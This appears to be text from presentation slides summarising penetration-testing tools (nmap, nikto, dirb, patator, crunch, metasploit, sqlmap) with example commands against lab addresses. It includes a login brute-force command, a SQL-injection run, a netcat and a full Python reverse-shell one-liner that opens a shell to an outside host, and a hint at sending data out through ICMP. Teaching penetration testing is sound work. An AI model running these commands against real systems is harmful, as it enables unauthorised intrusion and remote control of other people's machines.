Pentesting-Tools

Kali Linux
nmap
nikto
dirb
burp
hydra / patator / john
sqlmap
metasploit
linenum
python/perl/printf/echo
xclip/xxd
 nmap
nmap -A -p 1-65535
 nmap (more than port-scanning)
Nmap Scripting Engine (NSE) Module
Example: Exploit HTTP PUT

~$ nmap $IP \
--script=http-put.nse \
--script-args http-put.url='index.html',http-
put.file='my.html'
 Nikto
Web Server Scanner
nikto -host 10.233.2.52
Evasion
 Nikto
CGI-Directory Search: -C all
In case of WAF:
Evasion techniques: -evasion 1,...
 HTTP Directory Scanner
Commandline:
dirb
Metasploit Modul:
auxiliary/scanner/http/dir_scanner
GUI:
dirbuster
 Password Cracking
hydra
patator
Python
modular
handy commandline usage:
~$ patator http_fuzz method=POST \
follow=0 accept_cookie=0 --threads=10 timeout=10 \
url="http://172.31.11.207/login.html" 0=/root/wordlists/deutsch.txt \
body="username=admin&password=FILE0" \
-x ignore:fgrep="failed"
 Password Cracking
Password-list Generator:
crunch
~$ crunch 1 4 -f /usr/share/crunch/charset.lst \
lalpha -o mixalpha-numeric.txt
 Metasploit
Lot's of exploits...
Basic usage:
use auxiliary/scanner/http/dir_scanner
info
set RHOST 172.31.11.218
run

search pfsense
 Burp
Proxy, Scanning, Fuzzing
 sqlmap
sql-Injection
~$ sqlmap --dbms=mysql -u 'http://172.31.11.207/' \
--data \
'csrfmiddlewaretoken=ejmGY....&username=admin&passw
ord=asd'
 Getting a Shell
Bind Shell vs Reverse Shell
nc -e /bin/bash
~$ python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STRE
AM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

http://pentestmonkey.net/cheat-sheet/shells/reverse-
shell-cheat-sheet
 Privilege Escalation
Linux Enumeration: linenum
 Other stuff
python/perl/printf/echo
printf %020x
tcpdump -i any -n "proto ICMP"
ping -p $data